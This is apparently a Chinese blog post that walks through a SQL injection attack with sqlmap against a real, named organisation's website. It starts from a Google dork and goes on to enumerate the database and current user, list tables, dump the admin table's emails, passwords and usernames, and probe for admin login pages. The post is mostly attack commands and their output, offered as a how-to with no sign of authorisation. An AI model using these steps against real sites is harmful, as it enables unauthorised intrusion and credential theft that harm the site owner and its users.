LOFTER-网易轻博

使用sqlmap进行试验：

Google Dorks:
这次使用：
inurl:.course.php?id=16




1. 对目标网站进行查询：


sqlmap.py -u https://www.icd.org.pk/course.php?id=16
    
//sqlmap -V 1.0.11,会生成相关文件，包含payload以及注入类型
    




参数介绍：
    
Parameter: id (GET)，注入参数为GET注入：
        
注入类型有：

    boolean-based blind       //基于布尔的盲注，也就是可以根据返回页面判断条件真假的注入
    error-based   //报错型注入
    time-based blind  //基于时间延迟注入
    UNION query     //可联合查询注入

此外还有一种为：
    stacked queries SQL injection   //可多语句查询注入


the back-end DBMS is MySQL，back-end DBMS: MySQL >= 5.0使用数据库为MYSQL，版本为5.x


web application technology: PHP 5.3.29//Web应用程序技术
    


2.得到数据库：
    sqlmap.py -u https://www.icd.org.pk/course.php?id=16 --dbs


[*]efnypvon_icd_db
[*]information_schema


3.web当前使用的数据库
    sqlmap.py -u https://www.icd.org.pk/course.php?id=16 --current-db

    current database:    'efnypvon_icd_db'


4.web数据库所使用的账户
    sqlmap.py -u https://www.icd.org.pk/course.php?id=16 --current-user
    
    current user:    'efnypvon_icd_usr@localhost'



5.具体查看某一数据库：
    sqlmap.py -u https://www.icd.org.pk/course.php?id=16 -D efnypvon_icd_db --tables



6.查看表的字段
    sqlmap.py -u https://www.icd.org.pk/course.php?id=16 -D efnypvon_icd_db -T icd_tbl_admin --columns



7.得到字段内容：

    sqlmap.py -u https://www.icd.org.pk/course.php?id=16 -D efnypvon_icd_db -T icd_tbl_admin "fEmail,fPassword,fUserName,last_admiin,superadmin" --dump


8.寻找登陆界面

/admin.php   /login.php   /backoffice/login.php ....   :O

Thats all :D